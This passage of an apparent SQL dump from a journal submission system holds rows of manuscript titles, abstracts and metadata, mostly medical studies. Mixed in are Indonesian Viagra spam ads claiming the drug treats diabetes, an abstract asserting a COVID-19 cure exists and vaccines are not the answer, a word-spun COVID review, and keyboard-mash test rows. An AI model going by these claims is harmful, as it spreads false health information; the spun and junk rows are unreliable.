Uranium Helium\r\n',':  Charnokites, Gnesis, Khondalites, Granites, Laterites , Sandstones, Monazite, Garnet, Zircon, Ilmenite',1781,'','2021-02-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-02-22',1),(7632,8873,45,0,'','Agen Jual Obat Viagra Asli Di Makassar 081282823454 Bisa Cod','',16,0,'','Jual Obat Viagra Asli Di Makassar 081282823454 Cod, Viagra Asli Di Makassar, Agen Obat Kuat Viagra USA Di Makassar\r\n\r\nViagra USA Atau Istilah Lain Pil Biru Merupakan Obat Kuat Pria Yang Paling Ampuh Khasiatnya Untuk Mengatasi Problem Ejakulasi Dini, Kurangnya Ereksi Pada Alat Vital Dan Masalah Pria Lainya, Obat Kuat Viagra Tablet Usa 100 mg Sudah Terkenal Di Negara Tercinta Indonesia, Malaysia, Singapura, China Dan Belahan Dunia Lainnya Terutama Di Negaranya Amerika. Obat Kuat Pria Dewasa Viagra USA Asli Ini Sangat Aman Dan Mampu Memberi Kekuatan Bagi Pria Yang Usianya Sudah Lansia.\r\n\r\nManfaat Viagra Asli USA 100mg :\r\n\r\nViagra Usa Membangkitkan Gairah Libido.\r\nViagra Usa Mengatasi Impotensi.\r\nViagra Usa Mengeraskan Ereksi.\r\nViagra Usa Tahan Lama Berulang-Ulang.\r\nViagra Usa Mengobati Diabetes Atau Kencing Manis.\r\nViagra Usa Baik Sebagai Suplemen Sehari-Hari, Untuk Menjaga Kesehatan Tubuh Dan Vit Selalu.\r\nCara Minum Obat Kuat Viagra Asli USA :\r\n\r\nMinum 1 Tablet Obat Kuat Viagra USA 100mg Dengan Air Putih, 30 Menit Sebelum Berhubungan Intim.\r\n\r\nHarga Obat Kuat Viagra Asli Di Kendari :\r\n\r\n1 botol obat Viagra harga Rp 1.200.000\r\n2 botol obat Viagra harga Rp 2.000.000 ongkir gratis\r\n3 botol obat Viagra harga Rp 2.900.000 ongkir gratis\r\n4 botol obat Viagra harga Rp. 3.800.00 ongkir gratis','Jual Obat Viagra Asli Di Makassar, Jual Viagra Makassar',4076,'','2021-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2021-03-02',1),(7631,8873,45,0,'','Jual Obat Viagra Asli Di Makassar 081282823454 Bisa Cod','',7,0,'jual Viagra Asli Di Makassar','Jual Obat Viagra Asli Di Makassar 081282823454 Cod, Viagra Asli Di Makassar, Agen Obat Kuat Viagra USA Di Makassar\r\n\r\nViagra USA Atau Istilah Lain Pil Biru Merupakan Obat Kuat Pria Yang Paling Ampuh Khasiatnya Untuk Mengatasi Problem Ejakulasi Dini, Kurangnya Ereksi Pada Alat Vital Dan Masalah Pria Lainya, Obat Kuat Viagra Tablet Usa 100 mg Sudah Terkenal Di Negara Tercinta Indonesia, Malaysia, Singapura, China Dan Belahan Dunia Lainnya Terutama Di Negaranya Amerika. Obat Kuat Pria Dewasa Viagra USA Asli Ini Sangat Aman Dan Mampu Memberi Kekuatan Bagi Pria Yang Usianya Sudah Lansia.\r\n\r\nManfaat Viagra Asli USA 100mg :\r\n\r\nViagra Usa Membangkitkan Gairah Libido.\r\nViagra Usa Mengatasi Impotensi.\r\nViagra Usa Mengeraskan Ereksi.\r\nViagra Usa Tahan Lama Berulang-Ulang.\r\nViagra Usa Mengobati Diabetes Atau Kencing Manis.\r\nViagra Usa Baik Sebagai Suplemen Sehari-Hari, Untuk Menjaga Kesehatan Tubuh Dan Vit Selalu.\r\nCara Minum Obat Kuat Viagra Asli USA :\r\n\r\nMinum 1 Tablet Obat Kuat Viagra USA 100mg Dengan Air Putih, 30 Menit Sebelum Berhubungan Intim.\r\n\r\nHarga Obat Kuat Viagra Asli Di Kendari :\r\n\r\n1 botol obat Viagra harga Rp 1.200.000\r\n2 botol obat Viagra harga Rp 2.000.000 ongkir gratis\r\n3 botol obat Viagra harga Rp 2.900.000 ongkir gratis\r\n4 botol obat Viagra harga Rp. 3.800.00 ongkir gratis','Jual Obat Viagra Asli Di Makassar, Jual Viagra Asli Di Makassar, Jual Obat Viagra Makassar',4075,'','2021-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-03-02',1),(7607,3375,45,0,'','Factors associated with voluntary blood donation among graduating class students of Assosa University, Benishangul Gumuz, Ethiopia. ','',14,3,'','Background: Blood transfusion is a vital therapeutic approach in modern health care that saves millions of lives, but there is a great challenge to gate sufficient voluntary blood donation in developing country like Ethiopia at the same time pregnancy and child birth related problem, rod traffic accident, malaria-related death is high. \r\nMethods: Institutional based cross-sectional quantitative study was used from April 27 to May 11, 2018, and data was collected using a self-administered questionnaire. A stratified sampling method was used and an individual was selected by simple random sampling within each stratum. EPI data version 3.02 for data entry and SPSS version 16 for analysis was used .both bi-variant and multi-variant analysis was computed and significance was declared at AOR <0.05.\r\nResult: From the total study participants, 162(48.5%) had adequate knowledge, 230(68.9%) of the respondent had favorable attitudes towards blood donation whereas only 85 (25.4%) have ever donated blood in their lifetime.\r\n Having inadequate knowledge 3.118 times more likely non-donors [AOR=3.118: 1.775, 5.479] than compared to those having adequate knowledge, and unfavorable attitude 4.254 times non-donors [AOR=4.254%CI: 1.996, 9.069] than compared to those having a favorable attitude. Whereas being a user of television 2.015 times more likely non-donors of blood [AOR= 2.015 %CI: 1.100, 3.690] than compared to non-user. \r\nConclusion: the result shows that there was poor habit of blood donation practice among students and even from donors above the mean range 57.6% of respondent donate blood to help relatives or friends and we recommend further study in this area, to give training for blood bank service workers and organize motivational blood donor club to utilize potential voluntary blood donors.','Blood donation, emergency health care, Assosa, Benishangul Gumuz, Assosa University',685,'','2021-02-27',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2021-03-02',1),(7612,8857,85,0,'','Fourteenth Addenda to Criticism of the Current Science in the World','',15,3,'','In this article, some scientific problems of Iran were mentioned. It was concluded that Iran and I will not become anything in the science, I have no intelligence and Iran and I will not become anything in general. Also two petitions were introduced in this paper. In addition, it was deduced that the only way for the scientific advancement of Iran is to make Iran a state of USA. ','',3282,'','2021-02-27',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-03-02',1),(7885,9100,277,0,'','reproduccion sexual','',24,0,'123476','nada','qew',4680,'','2021-03-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-03-23',1),(8121,9295,975,0,'','Effect of low level LASER therapy on hemiplegic shoulder pain in post stroke subjects','',14,3,'','Background and Objective: Shoulder pain is a common complication of a stroke which can impede participation in rehabilitation and has been associated with poor outcomes. Low Level LASER Therapy (LLLT) is one of the adjunct treatments of choice with exercise therapy for shoulder rehabilitation in Physiotherapy. The objective of this study was to investigate the effect of LLLT on Hemiplegic Shoulder Pain in reducing shoulder pain and improving upper limb function in post Stroke subjects.\r\nMethods: Prospective study design. 68 subjects with mean age of 53 years having a clinical diagnosis of Stroke with Hemiplegic Shoulder Pain were randomly allocated into two groups. In Group-A (n=34) subjects were treated with Low Level LASER Therapy and standardized Rehabilitation Programme, where as in Group-B (n=34) subjects were treated with standardized Rehabilitation Programme. Participants were given interventions twice a week for 8 weeks. The outcomes of this intervention were measured by SPADI for pain, disability and FMA-UE for function.\r\nResults: Statistical analysis of the data revealed that within group comparison both groups showed significant improvement in all parameters, where as in between groups comparison LLLT along with Standardized Rehabilitation programme showed better improvement compared to the Standardised Rehabilitation Programme alone.\r\nConclusion: After 8 weeks of interventions both Group-A and Group-B showed significant improvement in reducing pain and improving upper limb function. However LLLT along with Standardized Rehabilitation Programme showed more improvement when compared to the Standardised Rehabilitation Programme alone. Thus this study concludes that LLLT is a useful adjunct in Hemiplegic Shoulder Pain along with rehabilitation. \r\n','Key words: Stroke, Hemiplegic Shoulder Pain, Low Level LASER Therapy, Standardised Rehabilitation programme, SPADI.',4089,'','2021-04-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2021-04-09',1),(8125,9292,639,0,'','Taurine and sodium diformate supplementation to a low fishmeal plant-based diet enhanced immunity and muscle cellularity of European sea- bass (Dicentrarchus labrax)','',3,3,'','A feeding trial was carried out to investigate the effects of either taurine (T) or sodium diformate (NDF) supplementation to a low fishmeal (FM) plant-based diet on growth, health status, immunity and muscle cellularity of European seabass, Dicentrarchus labrax. Four diets contained either 46% FM as the control (CTRL), or 20% FM and a mixture of   plant proteins (PMX), complemented or not with 1% T (PMX+T) or 0.3% NDF (PMX+NDF) were fed to juvenile seabass (~14.0 g) for 13 weeks. Major findings suggest that the low-FM/plant-mix diet enriched with either T or NDF can promote growth, normalize physiological conditions and improve the striated muscle structure of fish.','Taurine, Sodium diformate, Muscle ultrastructure',1776,'','2021-04-08',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-04-09',1),(8430,9567,996,0,'','asd','',1,1,'asddsa','asddsaasdas','adsdasds',4593,'','2021-05-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-05-10',1),(8428,9566,45,0,'','Infection prevention through Isolation room designs in COVID’19','',14,1,'Catching and Spreading Coronavirus (social distancing)','Background: The outbreak of a severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) has spread across the world and have caused a global health emergency. \r\nMethods: We strongly believe that the proper use of  already constructed areas and their modifications such as provision of isolation rooms in all types of public buildings especially in hospitals which would be highly effective and be an additional important measure to reduce and prevent the transmission of the virus, thereby protecting the frontline workers, general public as well as speedy recovery  of the infected patients. In this study, we report the importance, types and design of isolation rooms in hospitals required during this pandemic situation.\r\nFindings: Literature studies and all have been done and it has been found that different kinds of isolation rooms can be designed in various hospitals. The isolations rooms can be created in the already existing parts or can be designed using a variety of wall surfaces from vinyl-covered gypsum to nonporous Fiberglass Reinforced Plastic (FRP). \r\n Interpretation: With the literature review and data collection we have designed single as well as common isolation room designs with all the features to reduce the spreading of the infection.\r\nFunding: No funding received. \r\n','',4076,'','2021-05-09',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-05-10',1),(8437,9573,639,0,'','rehfdhresehrs','',10,0,'wegdegwdegdw','wgaesgdwesagwedsagwseda','wgseagedwsagedwgewd',1776,'','2021-05-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-05-11',1),(8438,9574,639,0,'','qawtgaw','',7,1,'awggaw','wjaouhjıoewıjhoewdsehowşıjdeohşıjdışohje','hjıwaoşşıojhoıjwhşıjoharwıoÅŸjwıojÅŸhwroıjÅŸ',1774,'','2021-05-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-05-11',1),(8580,9697,91,0,'','Formulation and evaluation of controlled porosity osmotic pump for oral delivery of ketorolac','',14,3,'','An oral osmotic drug delivery systems that can deliver drug for extended period of time has been developed and characterized. This system contain semi-permeable membrane and water-soluble pore-former\'s in the coating membrane. The tablet has an orifice drilled on it by means of a laser beam or mechanical drill. The oral bio-availability of our drug (ketorolac ) was 88- 92% and the biological half-life of 4-6 hours requires frequent administration to maintain the therapeutic effect. This drug delivery systems offer significant patient benefits by reducing the side effects, enhanced efficacy and also reduce the frequency or number of daily doses compared to conventional therapies. The aim of this study was to develope a controlled porosity osmotic pump based drug delivery system for controlled release of an NSAID agent, nonsteroidal anti-inflammatory, offer significant patient benefits by reducing the side effects, enhanced efficacy and also reduce the frequency or number of daily doses. This system was containing pore-forming water-soluble additives within the coating membrane, which after coming in touch with water, dissolve, leading to an in situ formation. The effect of various formulation variables, namely level of pore former (PVP), plasticizer (dibutyl phthalate) within the membrane, and membrane weight gain were studied. Drug release was inversely proportional to the membrane weight but directly associated with the initial concentration of pore former (PVP) within the membrane. Drug release was independent of pH and agitational intensity, but hooked in to the osmotic pressure of the discharge media. Based on the in vitro dissolution profile, formulation F3C1 (containing 0.5 g PVP and 1 g dibutyl phthalate in coating membrane) exhibited Peppas kinetic with Fickian diffusion-controlled release mechanism with a drug release of 93.67% in 12 hours and hence it had been selected as optimized formulation. SEM studies showed the formation of pores within the membrane. CPOP was designed for effective administration of medicine for prolonged period of your time. ','Controlled porosity osmotic pump, core tablet, pore former, coating',1325,'','2021-05-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-05-21',1),(8590,6489,86,0,'','THE ANGST OF NOT SAYING: PSYCHIATRIC REPERCUSSION ON ABORTION IN THE DAILY LIFE OF CHILDREN AND ADOLESCENTS WHO WERE VICTIMS OF SEXUAL VIOLENCE','',9,3,'','OBJECTIVE: Analyze what are the psychiatric repercussions on abortion in the daily life of children and adolescents who were victims of sexual violence.\r\nMETHODS: Studies were identified using large-circulation international journals found in two electronic databases: Scopus and Embase.\r\nRESULTS: Women experience high levels of post-traumatic stress, anxiety, and depression after early pregnancy loss. One out of six women go though post-traumatic stress. Although the sorrow may eventually decrease with time, it still significantly remains.The trigger involving the development of harms is pulled especially due to the prejudice of society as well as the guilt of having committed a crime according to the Brazilian law. The stigmatizing connotation on the illegalization of abortion puts women in an embarrassing situation because they access a sentiment of guilt, which is mostly irreversible, leading these women to self-condemnation. \r\nCONCLUSION: The chaos of today reclaim new mains of imagination so that we can understand how these children and adolescents bear experiencing the mourning. There would not be death, bleeding or suffering whether abortion was recognized as a health necessity as it is supposed to be. These girls and adolescents are in social and mental emergency. They suffer and their pain surpass the unimaginable. They live on the margins of society and fall into oblivion and anonymity.','Psychiatric Repercussions; Children; Adolescents; Sexual Violence; Abortion.',2890,'','2021-05-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-05-21',1),(8793,9843,73,0,'','Physila model of the Economic Development','',14,3,'A new Economic line','Physical activity level','Physical Activity level',3358,'','2021-06-01',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2021-06-02',1),(8904,9943,975,0,'','COVID-19 and Real Science','',3,0,'','he hottest topic in politics and medicine today is COVID-19. Within this narrative there seems to be a recurring discussion about “Real Science,” and what it is or is not. To better understand this and get politics out of the way, we take a look at what defines science and politics, and then use the principles of evidence-based causation to review COVID-19 and how it infects cells and our immune system. Using a meta-analysis approach to understand all the known causal relationships of this disease we found that science has already produced a cure for COVID-19, but because of systemic failures in our government and scientific communities, many people have unnecessarily died.\r\n\r\nAreas Covered\r\n\r\nUsing 18 NIH studies and more than 50 other technical references, this paper defines several different ways the COVID-19 virus attacks our body and how it responds. It also describes how the 17 comorbidity conditions defined by the CDC are involved in nearly all deaths. We also discuss some serious contradictions involving Big Pharma and political decisions, along with why we believe vaccines are not the answer to this pandemic.\r\n','COVID-19, Virus, Real Science, Groupthink, Principles of Causation, Hydroxychloroquine, Zinc Ionophores, Zinc, Big Pharma, Scientific Journals, Vaccines.\r\n',4089,'','2021-06-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-06-16',1),(8952,9985,45,0,'','Serum Soluble Interleukin 2 Receptor Alpha vs Urinary Parameter and Serum Immunological markers as a monitoring tool of treatment response of Lupus Nephritis and their relation to Lupus Nephritis Class on renal biopsy','',14,3,'','Background: Lupus Nephritis (LN) is one of the most common and serious manifestations in SLE patients that causes significant morbidity and mortality. Current conventional biomarkers for LN are sometimes unable to predict treatment response of lupus nephritis. Recently serum soluble interleukin-2 receptor alpha (sIL-2 R alpha) is shown to be a good marker to predict treatment response of LN. Objective: To compare serum sIL-2R alpha with other commonly used markers as a marker of treatment response of LN and their relation to the LN class in renal biopsy. Methods: This prospective observational study was conducted in the Department of Nephrology, Bangabandhu Sheikh Mujib Medical University (BSMMU), Dhaka, Bangladesh from July 2018 to August 2019. Twenty seven patients who were diagnosed with lupus nephritis after kidney biopsy were included in this study. Serum soluble interleukin-2 receptor alpha, 24 hrs UTP, anti-dsDNA, complements level (C3 & C4) were measured in all patient at baseline, 3-months and 6- months after treatment. Serum soluble interleukin-2 receptor alpha level was measured by ELISA and is expressed as pg/mg. Serum sIL-2R alpha as well as conventional biomarker value were compared before and after treatment and in between treatment response and non-response group. Results: Serum sIL-2R alpha levels were significantly higher in patients of proliferative lupus nephritis (Class III & Class IV) than non-proliferative lupus nephritis (Class V) at baseline (3934.3 ± 1095.2, 3934.3 ± 1095.2 & 1801.98 ± 205.8 pg/L respectively) and levels were decreased significantly 6 months after treatment (p <0.001). Serum sIL-2R alpha levels were also significantly higher in non-remission proliferative group then remission proliferative group (4071.60 ± 769.91 vs 5169.20 ± 394.76) with p value 0.008 at baseline. In contrast no significant difference were observed for 24 hrs UTP levels at baseline between this group which suggest that serum sIL-2R alpha are more sensitive marker than 24 hrs UTP in predicting treatment response of lupus nephritis. Conclusions: Serum sIL-2R alpha might be a valuable serological biomarker to diagnose and to predict and monitor the treatment response of lupus nephritis','lupus nephritis, serum soluble interleukin 2 receptor alpha, urinary total protein, renal biopsy',388,'','2021-06-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-06-18',1),(8964,9995,85,0,'','Hahah','',1,0,'','Bbbbb','Bbbb',4826,'','2021-06-18',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-06-19',1),(9248,10198,85,0,'','Function of PHP','',5,0,'','Ada','Ada',2141,'','2021-07-05',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2021-07-06',1),(9620,7873,73,0,'','EFFECT OF OPPOSITE HOMEOSTASIS IN WEIGHTLESSNESS IN SPACECRAFT PRELAUNCH AUTOMATIC CHECKOUT EQUIPMENT [S-P-A-C-E]','',15,0,'not applicable','Space is boundless three-dimensional extent in which objects and events have relative position and direction. Venturing into the environment of space can have negative effects on the human body. Significant adverse effects of long-term weightlessness include muscle atrophy and deterioration of the skeleton (spaceflight osteopenia). Other significant effects include a slowing of cardiovascular system functions, decreased production of red blood cells, balance disorders, eyesight disorders and changes in the immune system. Additional symptoms include fluid redistribution (causing the \"moon-face\" appearance typical in pictures of astronauts experiencing weightlessness), loss of body mass, nasal congestion, sleep disturbance, and excess flatulence. \r\n \r\nThe engineering problems associated with leaving Earth and developing space propulsion systems have been examined for over a century, and millions of hours of research have been spent on them. In recent years there has been an increase in research on the issue of how humans can survive and work in space for extended and possibly indefinite periods of time. This question requires input from the physical and biological sciences and has now become the greatest challenge (other than funding) facing human space exploration. A fundamental step in overcoming this challenge is trying to understand the effects and impact of long-term space travel on the human body.','NASA, ISRO, Space station, Astronaut, EMU, Atrophy, Moon face',327,'','2021-07-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-07-23',1),(9806,10623,975,0,'','IMPORTANCE AND RELEVANCE OF BANDAGE TECHNIQUES DESCRIBED IN AYURVEDA: A REVIEW STUDY','',15,3,'','Abstract\r\nShalya Tantra is one of the eight branches of Ayurveda. The main literature of Shalya Tantra (Surgery) is Sushruta Samhita. Bandaging is an important part of trauma management; poor bandaging can compromise the whole process of management that can lead to serious consequences. Correct knowledge of the bandaging principle is very much essential for every member of the surgical team. In Ayurveda fifteen types of Bandhana Karma are mentioned out of them Acharya Sushruta has mentioned fourteen Bandhana Karma (bandaging techniques) along with the indication and contraindication of the bandaging and one Utsangi Bandhana Karma mentioned by Acharya Bagbhatta. In the present study, all the techniques are discussed with their importance and relevance in the modern-day surgical environment. In this review study, all the techniques seem still relatable and every surgical team must follow the principle of bandaging laid by Sushruta.\r\n','Keywords: Bandhana Karma, Bandaging, Trauma, Ayurveda.',3677,'','2021-07-28',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-07-29',1),(9818,10634,639,0,'','Evaluation of toxicity of an organophosphate pesticide Nogos on effect of the  walking catfish Clarias batrachus to histopathological change and it\'s translocation in rice-fish ecosystem','',14,3,'Research','The present study investigat..............','Clarias batrachus ;Oryaza satova , Nogos 100EC,Rice field ,LC50,Wax ,Incubator',1776,'','2021-07-29',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-07-30',1),(9822,10638,975,0,'','A mini review on noval sars cov2','',25,1,'Medical field','A Noval corona virus has been a new arise way of December 2019 at certainly Wuhan city huebi territory China. Affecting Trojan horse could cause disorder termed. Corona virus disorder 2019,by chance corona virus out of place presentation in same clamor SARS straight line a result certainly affecting disorder apparent straight line mild- clamor severe respiratory sign .zoological awash put certainly to have been shifted affecting Trojan horse. Since its invention it has been infected exceeding than 78000 individual along with stretch clamor at minimum 30 other countries. ','SARS- COV2 ,Wuhan Huebi,COVID-19,Transcription polymerase chain reaction.',3677,'','2021-07-30',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2021-07-30',1),(10146,10872,73,0,'','SOME CLINICAL, PSYCHOLOGICAL, LABORATORY, AND GENETIC ASPECTS OF PATIENTS WITH MULTIPLE SCLEROSIS IN UPPER EGYPT','',14,3,'','Abstract\r\nAim: Multiple sclerosis is the most prevalent chronic inflammatory disease of the central nervous system. The aim of the study is to show some clinical, cognitive, labarotory and genetic aspects in patients with multiple sclerosis in Upper Egypt.\r\nMaterials & Methods\r\n40 patients with MS recruited along the period from Jan.1st 2017 to Dec.31st2017 and 40 healthy controls were included in the study. Clinical, cognitive (depression, anxiety, and sleep), laboratory (25-hydroxyvitamin D), and genetic (TMEM106B, APOE2, and APOE1) aspects were assessed. \r\nResults and conclusion: \r\nLow serum 25(OH) D level is a major risk factor for MS in Upper Egypt. Vitamin D deficiency increases the risk of developing depression in MS patients. APOE1, APOE2 polymorphism alone, does not affect MS susceptibility.\r\n','Multiple Sclerosis, Genetic, Vitamin D',337,'','2021-08-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-08-23',1),(10372,11041,85,0,'','Molecular dynamics studies of dog prion protein wild-type and its D159N mutant','',17,3,'','This brief article gives a short commentary on the paper entitled ‘‘Molecular dynamics studies of dog prion protein wild-type and its D159N mutant’’ (published in Journal Biomolecule Structure and Dynamics 39(12):4234-4242 (2021)). The commentary is about the residue numbers of 159 and 163. By alignments analysis, we find all the literatures are talking about a same residue Aspartic acid (Asp) at the same position of dog prion protein.','Dog prion protein; residue D159; residue D163; sequence alignments; same residue at same position.',4068,'','2021-09-04',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-09-06',1),(10403,11041,85,0,'','Molecular dynamics studies of dog prion protein wild-type and its D159N mutant’’','',17,3,'','This brief article gives a short commentary on the paper entitled ‘‘Molecular dynamics studies of dog prion protein wild-type and its D159N mutant’’ (published in Journal Biomolecule Structure and Dynamics 39(12):4234-4242 (2021)). The commentary is about the residue numbers of 159 and 163. By alignments analysis, we find all the literatures are talking about a same residue Aspartic acid (Asp) at the same position of dog prion protein.','Dog prion protein; residue D159; residue D163; sequence alignments; same residue at same position',4068,'','2021-09-07',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-09-09',1),(10465,11117,91,0,'','dsf','',24,0,'','dsjklfhkdshfkdsjkfhkds fdsjhfsdfhks','dsq',5040,'','2021-09-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2021-09-18',1),(6836,8099,45,0,'','Reforming Rebate Contracting Will Improve Drug Affordability','',15,3,'','The Department of Health and Human Services (HHS) finalized a regulation on November 20, 2020 that removed the safe harbor protections for rebates on prescription drugs paid to pharmacy benefit managers (PBMs) and Part D plans. This analysis evaluates the expected impact from this regulation on Medicare premiums and patient out-of-pocket (OOP) costs. \r\nBased on the data from the California Department of Managed Health Care (DMHC), the loss of manufacturer drug rebates would cause the average insurance premiums to increase by $40.96 annually. Across the 12.9 million recipients of the Medicare low-income subsidy, this implies an increase in expenditures of $528.4 million. If OOP costs were to fall by the full share of the concessions paid (as expected from this reform), then patients with high OOP costs ($3,214 annually according to the Kaiser Family Foundation), could expect to save $1,451 annually. \r\nThese policy trade-offs do not account for the expected improvement in patients’ adherence to their medications from lowering their OOP costs. Relying on proxies for these relationships, per patient total health care savings could range between $381 and $1,522 depending upon the actual improvement in medication adherence observed. Across the more than 1 million Medicare Part D patients with high OOP costs, total healthcare expenditures for Medicare could decline between $386.9 million and $1.5 billion.\r\nBased on the results of the study, the finalized regulation should meaningfully address the drug affordability problem while imposing only minimal increases in individuals’ insurance premiums and total Medicare expenditures.','Rebates, Rebate Reform, Patient, Out-of-Pocket Costs, Medicare, CBO, PBMs, HHS',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6834,7939,959,0,'','COPD exacerbations affect clinical outcome in advanced non small cell lung cancer: a retrospective analysis','',3,3,'','Background: Non small cell lung cancer is the leading cause of cancer death worldwide. COPD  is a disease often associated and it is characterized over the course by symptoms  exacerbations and represents an independent risk factor for lung cancer. \r\nObjective: The aim of the present study was to determine the effects of  COPD exacerbations on the outcome of patients treated with cisplatin-pemetrexed in metastatic lung adenocarcinoma. The main endpoint was to detect the effects of COPD exacerbations on time to progression (TTP). The secondary endpoint was to highlight the effects of exacerbations on  treatment toxicity.\r\nMethods: 120 patients affected by COPD and adenocarcinoma IV stage wild type for EGFR mutation, were elegible for analysis. The inclusion criteria were ECOG PS 0-2, all treated with cisplatin-pemetrexed. Exclusion criteria included severe comorbidities and ECOG PS>2. The initial population was subdivided in two subgroups according to the presence (group 0) or absence of COPD exacerbations (group 1).\r\nResults: The groups were homogeneous in terms of age, gender, staging, and smoking habit. The group of patients without COPD exacerbations (group 1) reported a better TTP (log-rank HR of 0.31; p<0.0001) compared with group 0. The TTP median value was longer in group 1 (8.2 vs 6.6 months), and the difference was statistically significant (p<0.0001). The overall response rate was major in the group 1 compared with the group 0: 45% vs 37% (p<0.001). Toxicity events were similar in both groups, except for fatigue that was lower group 1 (p<0.0001).\r\nConclusions: The presence of COPD exacerbations influences the outcome in patients  treated for wild type lung adenocarcinoma, both in terms of TTP and in terms of response rate and toxicity.','lung cancer, COPD, TTP, smoking',2817,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6793,498,45,0,'','SONOGRAPHIC REFERENCE LUMINAL DIAMETER OF THE ABDOMINAL AORTA AMONG SUBJECTS IN NIGERIA','',14,3,'','Background: There are no local baseline reference values to aid accurate ultrasound diagnosis of risk factors of cardiovascular diseases and abdominal aortic aneurysm in Abuja, Nigeria. Objective: To develop reference luminal diameter of the abdominal aorta in Abuja, Nigeria.  Materials and Methods: The luminal diameters of the abdominal aorta (AA) of 422 male and female healthy subjects were measured sonographically using standard protocol. The relationship between age, body mass index (BMI), gender and the luminal diameter of the AA were investigated in the subjects. Statistical analysis was performed by the student T – test and Pearson’s correlation coefficient at 5% level of significance. Results: The values of the luminal diameter of the AA in the healthy subjects were 15.16 ± 0.55mm in males and 15.15 ± 0.55mm in females respectively. The 5th and 95th percentile normal reference limits of the AA were 14.20mm and 16.10mm respectively. There were no significant differences in the luminal diameter measurements in male and female subjects. Age correlated significantly with luminal diameter (r =0.90) of the AA in both gender. BMI showed weak significant correlation with luminal diameter (r= 0.136) of the AA in female healthy subjects only. Conclusion: The reference luminal diameters of the abdominal aorta for male and female healthy subjects have been established in this study. Age is the only significant independent predictor of the luminal diameter of the AA.','Aorta, luminal diameter, Ultrasonography, reference level, Age',4076,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6776,8036,45,0,'','Breastfeeding in The Novel Coronavirus Disease 2019 (COVID-19) Confirmed Cases of Women:','',15,3,'','Abstract: The WHO has declared the outbreak of novel coronavirus disease 2019 (COVID-19). The swift worldwide spread of COVID-19 has caused in a global pandemic. The proportion of COVID-19 infected breastfeeding women is increasing worldwide. The COVID-19 pandemic has stressed the entire community, predominantly breastfeeding women, and the whole health professionals. The breastfeeding women highly affected during this pandemic because of they are also tensioned for their neonates.  To overcome this hostile pandemic, the global healthcare service should be updated and modified accordingly. There is a growing requirement for evidence regarding maternal and neonatal consequences during this pandemic. Therefore, the present review article is aimed to investigate the available evidence on breastfeeding in confirmed cases of COVID-19 women to support a practically reasonable approach in handling these critical conditions. It has addressed the key points for all healthcare providers, stakeholders, health policy makers and implementers, and breastfeeding populations as the whole. The present review found that the possibility of COVID-19 virus detection in breast/human milk is currently a big controversial topic globally. This is due to that there is a discrepancy of evidences found worldwide. Some of the studies reported as the were no detection of COVID-19 virus within the breast/human milk while the other studies reported that as there was the detection of COVID-19 virus within the breast/human milk. However, there is no concrete evidence for the detection of COVID-19 virus within the breast/human milk. So, due to the inadequate clinical evidences, all healthcare providers should constantly update themselves and be alert about the transmissions of COVID-19 through breast milk.','COVID-19, SARS-CoV-2, novel coronavirus, breast feeding, pandemic',4048,'','2021-09-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6757,8013,45,0,'','Attitudes toward cost-conscious care among Iranian physicians','',14,3,'','Background: The growing healthcare costs are one of the most important concerns of health systems around the world. The role of physicians in managing diagnostic and therapeutic costs has always been prominent. The present study aims to assess the attitude of physicians towards cost-conscious prescription services in Iranian West Azerbaijan province.\\\\r\\\\nMethods: This study is a cross-sectional, descriptive-analytical survey 